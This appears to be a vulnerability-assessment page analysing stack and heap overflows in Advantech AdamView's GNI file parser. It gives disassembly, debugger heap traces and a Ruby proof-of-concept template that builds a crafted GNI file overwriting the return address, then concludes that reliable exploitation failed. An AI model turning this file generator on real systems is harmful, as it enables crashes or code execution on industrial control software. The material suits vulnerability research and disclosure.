Attacker Value
Unknown
(1 user assessed)
Exploitability
Unknown
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
0

Advantech Adamview Buffer Overflow

Disclosure Date: January 20, 2015 Last updated February 13, 2020
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

Multiple stack-based buffer overflows in Advantech AdamView 4.3 and earlier allow remote attackers to execute arbitrary code via a crafted (1) display properties or (2) conditional bitmap parameter in a GNI file.

Add Assessment

1
Technical Analysis

Details

According to the official advisory there is a trivial bof on adamview.exe (Adamview builder):

.text:00475BA0 push    ebx
.text:00475BA1 lea     ecx, [esp+4Ch+String1]
.text:00475BA5 push    offset aDisplayDesigne ; "Display Designer: %s"
.text:00475BAA push    ecx             ; LPSTR
.text:00475BAB mov     esi, eax
.text:00475BAD call    ds:wsprintfA

Indeed the overflow is obvious and can be easily reached with GNI with a display designer window
with a big name.

Inside the file, the designer string is saved as:

2 bytes length / Designer string ending with NULL (0x00)

Since the wsprintf copies the designer name, read from the file, to a stack buffer:

-00000034 String1

It is trival to trigger the overflow:

  def template
    gni = [
      0x41, 0x47, 0x4E, 0x49, 0xAE, 0x01, 0x04, 0x00,
      0xEA, 0x45, 0x20, 0x78, 0x1E, 0x75, 0xF8, 0x18,
      0xDC, 0x45, 0x46, 0xC0, 0x06, 0x2D, 0xF0, 0x20,
      0x92, 0x6D, 0xC0, 0x9C, 0x02, 0x89, 0xF0, 0x44,
      0x06, 0x4D, 0x00, 0x00, 0x48, 0x45, 0x41, 0x44,
      0x16, 0x00, 0x92, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0xFF,
      0x00, 0x00, 0x00, 0x00, 0x80, 0x02, 0xE0, 0x01,
      0x53, 0x57, 0x50, 0x4C, 0x30, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xFF, 0xFF,
      0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
      0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE4, 0x02,
      0x00, 0x00, 0x9D, 0x01, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x54,
      0x53, 0x4B, 0x76, 0x00, 0x01, 0x00, 0x00, 0x00,
      0x2A, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF,
      0x16, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
      0x54, 0x41, 0x53, 0x4B, 0x31, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0xC8, 0x42, 0x45, 0x54, 0x53, 0x4B, 0x50, 0x57,
      0x50, 0x4C, 0x3D, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x01, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF,
      0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
      0xFF, 0xFF, 0xFF, 0xFF, 0x44, 0x00, 0x00, 0x00,
      0x2D, 0x00, 0x00, 0x00, 0x41, 0x03, 0x00, 0x00,
      0xCB, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x01,
      0x00].pack("C*")

    bof = rand_text(target['Offset'])
    bof << [target.ret].pack("V") # eip
    bof << rand_text(4) # padding
    bof << rand_text_alpha_upper(4) # payload
    bof << "\x00"
    gni << [bof.length].pack("v")
    gni << bof

    gni << [0x50, 0x45, 0x4E, 0x44, 0x46, 0x56,
      0x4B, 0x53, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4E, 0x45,
      0x54, 0x4B, 0x41, 0x44, 0x41, 0x4D, 0x56, 0x69,
      0x65, 0x77, 0x00, 0xEC, 0x00, 0x00, 0xD0, 0x07,
      0xD0, 0x07, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00,
      0x00, 0x00, 0x5A, 0x45, 0x4F, 0x46
    ].pack("C*")

Unfortunately, there is a heap overflow, previously to the stack overflow, which makes exploitation
super unstable on Windows 7 SP1 (I guess more modern systems too). The same vulnerable function is used
to read the designer name from the file:

.text:00475B38 lea     eax, [esp+48h+var_38]
.text:00475B3C push    2               ; SIZE
.text:00475B3E push    eax             ; DST
.text:00475B3F mov     ecx, esi
.text:00475B41 call    dword ptr [edx+3Ch] ; MFC42!CFile::Read, it's reading the size
.text:00475B44 mov     eax, [esp+48h+var_38]
.text:00475B48 mov     edx, [esi]      ; {MFC42!CFile::`vftable'} => [esi]
.text:00475B4A and     eax, 0FFFFh
.text:00475B4F mov     ecx, esi
.text:00475B51 push    eax             ; size
.text:00475B52 push    ebx             ; dst
.text:00475B53 call    dword ptr [edx+3Ch] ; MFC42!CFile::Read
.text:00475B56 push    ebx             ; Str
.text:00475B57 call    ds:_strupr      ; uppercase

First 2 bytes are read from the file, and stored in the stack. It is the Designer string length.

After it, this length size is read from the file and stored in the memory pointed by ebx:

00475B24 lea     ebx, [edi+2F1h]

ebx pointes to an offset inside edi, which points to a buffer in the heap. Where this heap buffer
comes from from?:

0:000> !heap -p -a 08af2ec9
    address 08af2ec9 found in
    _DPH_HEAP_ROOT @ 1a21000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 8aa12a4:          8af2bd8              428 -          8af2000             2000
          ? ADAMView!DlgProc+1d4c8
    732b8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77355e26 ntdll!RtlDebugAllocateHeap+0x00000030
    7731a376 ntdll!RtlpAllocateHeap+0x000000c4
    772e5ae0 ntdll!RtlAllocateHeap+0x0000023a
    75db9d45 msvcrt!malloc+0x0000008d
    6f5eff9e MFC42!operator new+0x00000015
    00474790 ADAMView!ColorBox::ColorBoxDlgSubclassProc+0x00014ac0
    6f5ffef3 MFC42!CFrameWnd::CreateView+0x00000017
    6f5ffec6 MFC42!CFrameWnd::OnCreateClient+0x0000001c
    6f600ac3 MFC42!CFrameWnd::OnCreateHelper+0x00000031
    6f600a8e MFC42!CMDIChildWnd::OnCreate+0x00000014
    6f5feadb MFC42!CWnd::OnWndMsg+0x00000272
    6f5f3687 MFC42!CWnd::WindowProc+0x0000002e
    6f5fa361 MFC42!AfxCallWndProc+0x000000b5
    6f5fa2b9 MFC42!AfxWndProc+0x0000003e
    6f5fa571 MFC42!AfxWndProcBase+0x00000057
    75a0c4e7 USER32!InternalCallWinProc+0x00000023
    75a05f9f USER32!UserCallWinProcCheckWow+0x000000e0
    75a04f0e USER32!DispatchClientMessage+0x000000da
    759fe98a USER32!__fnINLPCREATESTRUCT+0x0000008b
    772d6fee ntdll!KiUserCallbackDispatcher+0x0000002e
    759fec54 USER32!_CreateWindowEx+0x00000201
    759fbf73 USER32!CreateWindowExA+0x00000033
    75a1f67c USER32!MDIClientWndProcWorker+0x000003b7
    75a22bca USER32!MDIClientWndProcA+0x00000022
    75a0c4e7 USER32!InternalCallWinProc+0x00000023
    75a0c5e7 USER32!UserCallWinProcCheckWow+0x0000014b
    75a05294 USER32!SendMessageWorker+0x000004d0
    759fada9 USER32!SendMessageA+0x0000007c
    6f600a10 MFC42!CMDIChildWnd::Create+0x000000fe
    6f6000dc MFC42!CMDIChildWnd::LoadFrame+0x000000c7
    6f60120e MFC42!CDocTemplate::CreateNewFrame+0x00000067

It’s a 0x428 buffer allocated on sub_474770

.text:0047477D push    eax
.text:0047477E mov     large fs:0, esp
.text:00474785 push    ecx
.text:00474786 push    428h            ; unsigned int
.text:0047478B call    ??2@YAPAXI@Z    ; operator new

Since the string read from the file is copied to offset 0x271, it lefts 311 bytes before
the heap buffer is overflowed.

Unfortunately, just after read the string from the file and store it in the heap, it happens:

.text:00475B53 call    dword ptr [edx+3Ch] ; MFC42!CFile::Read
.text:00475B56 push    ebx             ; Str
.text:00475B57 call    ds:_strupr      ; uppe

The string in the heap is converted to uppercase. It means a lot of “badchars”. So overflowing
EIP and storing the payload on 311 bytes doesn’t look feasible (at least usign the upper
encoder).

Of course, we can overflow the heap and pry for the execution to reach the stack overflow and
the ret. Unfortunately too many things happen between the heap and the stack overflow:

.text:00475B57                 call    ds:_strupr      ; uppercase
.text:00475B5D                 add     esp, 4
.text:00475B60                 lea     ecx, [esp+48h+String1]
.text:00475B64                 push    ebx             ; lpString2
.text:00475B65                 push    ecx             ; lpString1
.text:00475B66                 call    ds:lstrcmpA
.text:00475B6C                 test    eax, eax
.text:00475B6E                 jz      short loc_475B80
.text:00475B70                 lea     edx, [esp+48h+String1]
.text:00475B74                 push    ebx             ; char *
.text:00475B75                 push    edx             ; char *
.text:00475B76                 mov     ecx, offset unk_4BEEA8 ; this
.text:00475B7B                 call    ?ChangeTaskName@CDBCenter@@QAEKPBD0@Z ; CDBCenter::ChangeTaskName(char const *,char const *)
.text:00475B80
.text:00475B80 loc_475B80:                             ; CODE XREF: sub_475AA0+CEj
.text:00475B80                 mov     eax, [esi]
.text:00475B82                 push    0
.text:00475B84                 push    ebp
.text:00475B85                 mov     ecx, esi
.text:00475B87                 call    dword ptr [eax+30h]
.text:00475B8A                 push    esi             ; hMem
.text:00475B8B                 mov     ecx, edi
.text:00475B8D                 call    sub_479950
.text:00475B92                 mov     ecx, edi
.text:00475B94                 call    sub_475980
.text:00475B99                 mov     ecx, edi        ; this
.text:00475B9B                 call    ?GetParentFrame@CWnd@@QBEPAVCFrameWnd@@XZ ; CWnd::GetParentFrame(void)
.text:00475BA0                 push    ebx
.text:00475BA1                 lea     ecx, [esp+4Ch+String1]
.text:00475BA5                 push    offset aDisplayDesigne ; "Display Designer: %s"
.text:00475BAA                 push    ecx             ; LPSTR
.text:00475BAB                 mov     esi, eax
.text:00475BAD                 call    ds:wsprintfA

On windows 7 SP1 the heap is used between the overflows, and the corrupted heap makes the process to crash before
reaching the stack overflow and control EIP later.

Also egghunting doesn’t look a good option, because all the file contents aren’t in memory at the moment of the overflow.

So for example adding the payload as garbage at the end of the file, results with the payload not in memory when
controlling EIP :...

Even when the HEAP overflow isn’t reported in the core advisory, and there are probably a lot of other vulnerabilities,
the software is unsupported atm. Even the CORE vuln wasn’t fixed, so I don’t think it’s worth to invest more time here.

General Information

Additional Info

Technical Analysis